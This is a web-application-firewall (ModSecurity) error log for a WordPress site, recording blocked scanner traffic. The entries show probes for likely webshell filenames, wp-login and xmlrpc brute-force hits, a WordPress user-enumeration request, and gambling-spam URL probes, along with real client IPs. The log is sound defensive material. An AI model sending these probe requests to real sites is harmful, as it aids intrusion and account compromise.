[Fri Feb 27 23:37:05.048743 2026] [:error] [pid 52073:tid 52086] [client 20.151.128.128:15246] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaG6IYa650YPyxXVeRbekQAAAYo"]
[Fri Feb 27 23:37:15.653125 2026] [:error] [pid 56075:tid 56079] [client 20.151.128.128:15232] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaG6K8KBhrfI6KNv9Rhz0QAAAAI"]
[Fri Feb 27 23:37:19.697720 2026] [:error] [pid 62998:tid 63025] [client 20.151.128.128:15332] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaG6L1QeueXZDUmoLomQ7gAAARc"]
[Fri Feb 27 23:37:24.082767 2026] [:error] [pid 52073:tid 52098] [client 20.151.128.128:15235] [client 20.151.128.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaG6NIa650YPyxXVeRbevQAAAZY"]
[Sat Feb 28 00:19:39.728768 2026] [:error] [pid 49306:tid 49314] [client 64.23.172.230:33022] [client 64.23.172.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.23.172.230, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHEG_nSUDZue59Px9uQzgAAAUY"]
[Sat Feb 28 00:47:34.148060 2026] [:error] [pid 38586:tid 38591] [client 146.190.160.27:49907] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHKpr_i6nvKNhjFW7UjxAAAAQI"]
[Sat Feb 28 00:47:38.719035 2026] [:error] [pid 38586:tid 38600] [client 146.190.160.27:49907] [client 146.190.160.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaHKqr_i6nvKNhjFW7UjygAAAQs"]
[Sat Feb 28 00:47:40.990537 2026] [:error] [pid 38620:tid 38638] [client 137.184.230.10:38748] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.230.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHKrAP6I7SRqrhh7RrWzgAAAVA"]
[Sat Feb 28 00:47:42.069845 2026] [:error] [pid 38586:tid 38603] [client 146.190.160.27:49907] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHKrr_i6nvKNhjFW7UjzQAAAQ4"]
[Sat Feb 28 00:47:42.069989 2026] [:error] [pid 38586:tid 38603] [client 146.190.160.27:49907] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.190.160.27, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHKrr_i6nvKNhjFW7UjzQAAAQ4"]
[Sat Feb 28 00:49:04.462604 2026] [:error] [pid 38620:tid 38623] [client 204.48.18.182:53762] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.48.18.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHLAAP6I7SRqrhh7RrYmQAAAUE"]
[Sat Feb 28 00:59:52.346214 2026] [:error] [pid 15240:tid 15258] [client 51.158.204.94:14910] [client 51.158.204.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.158.204.94, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHNiC1iKL_41Rk9A9NkeQAAABA"]
[Sat Feb 28 00:59:56.847034 2026] [:error] [pid 15240:tid 15251] [client 51.158.204.94:14910] [client 51.158.204.94] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaHNjC1iKL_41Rk9A9NkiQAAAAk"]
[Sat Feb 28 00:59:59.961996 2026] [:error] [pid 15240:tid 15262] [client 51.158.204.94:14910] [client 51.158.204.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.158.204.94, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHNjy1iKL_41Rk9A9NkjgAAABQ"]
[Sat Feb 28 01:42:30.714088 2026] [:error] [pid 38620:tid 38641] [client 51.38.207.45:44664] [client 51.38.207.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.207.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaHXhgP6I7SRqrhh7RodOQAAAVM"]
[Sat Feb 28 01:48:45.438932 2026] [:error] [pid 38620:tid 38634] [client 79.137.67.30:55306] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaHY_QP6I7SRqrhh7RolcQAAAUw"]
[Sat Feb 28 01:48:47.977073 2026] [:error] [pid 38620:tid 38627] [client 79.137.67.30:44350] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaHY_wP6I7SRqrhh7RolggAAAUU"]
[Sat Feb 28 01:48:50.495491 2026] [:error] [pid 38620:tid 38629] [client 79.137.67.30:44356] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaHZAgP6I7SRqrhh7RolkAAAAUc"]
[Sat Feb 28 01:48:53.013663 2026] [:error] [pid 38586:tid 38609] [client 79.137.67.30:44366] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaHZBb_i6nvKNhjFW7VZPQAAARQ"]
[Sat Feb 28 01:48:55.494910 2026] [:error] [pid 38620:tid 38626] [client 79.137.67.30:50914] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaHZBwP6I7SRqrhh7RolpgAAAUQ"]
[Sat Feb 28 01:48:57.886548 2026] [:error] [pid 38586:tid 38600] [client 79.137.67.30:50916] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaHZCb_i6nvKNhjFW7VZSQAAAQs"]
[Sat Feb 28 01:49:00.447713 2026] [:error] [pid 38620:tid 38629] [client 79.137.67.30:50930] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaHZDAP6I7SRqrhh7RolvQAAAUc"]
[Sat Feb 28 01:49:02.849121 2026] [:error] [pid 38586:tid 38597] [client 79.137.67.30:50944] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaHZDr_i6nvKNhjFW7VZUgAAAQg"]
[Sat Feb 28 01:49:05.298850 2026] [:error] [pid 15099:tid 15151] [client 79.137.67.30:37694] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaHZEenvP2vtPjYDq_g-eAAAANI"]
[Sat Feb 28 01:49:07.728142 2026] [:error] [pid 15098:tid 15126] [client 79.137.67.30:37702] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaHZE8kFqny8dQQbmTksGAAAAJQ"]
[Sat Feb 28 01:49:10.168048 2026] [:error] [pid 38586:tid 38599] [client 79.137.67.30:37704] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaHZFr_i6nvKNhjFW7VZZAAAAQo"]
[Sat Feb 28 01:49:12.913721 2026] [:error] [pid 15240:tid 15260] [client 79.137.67.30:37708] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaHZGC1iKL_41Rk9A9OHnQAAABI"]
[Sat Feb 28 01:49:15.294676 2026] [:error] [pid 38620:tid 38640] [client 79.137.67.30:44670] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaHZGwP6I7SRqrhh7RomAwAAAVI"]
[Sat Feb 28 01:49:17.715037 2026] [:error] [pid 38620:tid 38629] [client 79.137.67.30:44686] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaHZHQP6I7SRqrhh7RomFwAAAUc"]
[Sat Feb 28 01:49:20.161509 2026] [:error] [pid 15240:tid 15263] [client 79.137.67.30:44700] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaHZIC1iKL_41Rk9A9OHvAAAABU"]
[Sat Feb 28 01:49:22.586634 2026] [:error] [pid 38620:tid 38633] [client 79.137.67.30:44704] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaHZIgP6I7SRqrhh7RomIwAAAUs"]
[Sat Feb 28 01:49:25.142260 2026] [:error] [pid 15240:tid 15265] [client 79.137.67.30:59956] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaHZJS1iKL_41Rk9A9OHwgAAABc"]
[Sat Feb 28 01:49:27.564054 2026] [:error] [pid 15240:tid 15264] [client 79.137.67.30:59966] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaHZJy1iKL_41Rk9A9OHxwAAABY"]
[Sat Feb 28 01:49:29.978497 2026] [:error] [pid 15240:tid 15257] [client 79.137.67.30:59980] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaHZKS1iKL_41Rk9A9OHywAAAA8"]
[Sat Feb 28 01:49:32.484031 2026] [:error] [pid 38620:tid 38631] [client 79.137.67.30:59986] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaHZLAP6I7SRqrhh7RomRAAAAUk"]
[Sat Feb 28 01:49:34.930062 2026] [:error] [pid 15240:tid 15258] [client 79.137.67.30:35596] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaHZLi1iKL_41Rk9A9OH1wAAABA"]
[Sat Feb 28 01:49:37.316341 2026] [:error] [pid 38620:tid 38626] [client 79.137.67.30:35598] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aaHZMQP6I7SRqrhh7RomUAAAAUQ"]
[Sat Feb 28 01:49:39.884841 2026] [:error] [pid 15099:tid 15143] [client 79.137.67.30:35610] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aaHZM-nvP2vtPjYDq_g-lwAAAMo"]
[Sat Feb 28 01:53:46.505932 2026] [:error] [pid 15240:tid 15265] [client 147.135.128.94:57860] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaHaKi1iKL_41Rk9A9OKkAAAABc"]
[Sat Feb 28 01:53:48.849269 2026] [:error] [pid 38586:tid 38608] [client 147.135.128.94:59412] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaHaLL_i6nvKNhjFW7VeBwAAARM"]
[Sat Feb 28 01:53:51.452216 2026] [:error] [pid 38620:tid 38640] [client 147.135.128.94:59428] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaHaLwP6I7SRqrhh7RorwAAAAVI"]
[Sat Feb 28 01:53:53.858140 2026] [:error] [pid 38620:tid 38636] [client 147.135.128.94:59434] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaHaMQP6I7SRqrhh7Ror2wAAAU4"]
[Sat Feb 28 01:53:56.246664 2026] [:error] [pid 38620:tid 38628] [client 147.135.128.94:59440] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaHaNAP6I7SRqrhh7Ror_QAAAUY"]
[Sat Feb 28 01:53:58.676089 2026] [:error] [pid 38586:tid 38613] [client 147.135.128.94:50350] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaHaNr_i6nvKNhjFW7VeLAAAARg"]
[Sat Feb 28 01:54:01.050896 2026] [:error] [pid 38586:tid 38602] [client 147.135.128.94:50364] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaHaOb_i6nvKNhjFW7VePAAAAQ0"]
[Sat Feb 28 01:54:03.549220 2026] [:error] [pid 38620:tid 38640] [client 147.135.128.94:50378] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaHaOwP6I7SRqrhh7RosGQAAAVI"]
[Sat Feb 28 01:54:06.061241 2026] [:error] [pid 38620:tid 38624] [client 147.135.128.94:50390] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaHaPgP6I7SRqrhh7RosKAAAAUI"]
[Sat Feb 28 01:54:08.548632 2026] [:error] [pid 38620:tid 38629] [client 147.135.128.94:36044] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaHaQAP6I7SRqrhh7RosOgAAAUc"]
[Sat Feb 28 01:54:11.050462 2026] [:error] [pid 38620:tid 38629] [client 147.135.128.94:36074] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaHaQwP6I7SRqrhh7RosTQAAAUc"]
[Sat Feb 28 01:54:13.552207 2026] [:error] [pid 38620:tid 38632] [client 147.135.128.94:36092] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaHaRQP6I7SRqrhh7RosYAAAAUo"]
[Sat Feb 28 01:54:15.884668 2026] [:error] [pid 38620:tid 38632] [client 147.135.128.94:36106] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaHaRwP6I7SRqrhh7RoscAAAAUo"]
[Sat Feb 28 01:54:18.409606 2026] [:error] [pid 15099:tid 15136] [client 147.135.128.94:48354] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaHaSunvP2vtPjYDq_g_1wAAAMM"]
[Sat Feb 28 01:54:20.906741 2026] [:error] [pid 38586:tid 38609] [client 147.135.128.94:48382] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aaHaTL_i6nvKNhjFW7VeiQAAARQ"]
[Sat Feb 28 01:54:23.399757 2026] [:error] [pid 38586:tid 38601] [client 147.135.128.94:48398] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aaHaT7_i6nvKNhjFW7VelAAAAQw"]
[Sat Feb 28 01:54:25.893675 2026] [:error] [pid 38620:tid 38641] [client 147.135.128.94:48408] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aaHaUQP6I7SRqrhh7RosigAAAVM"]
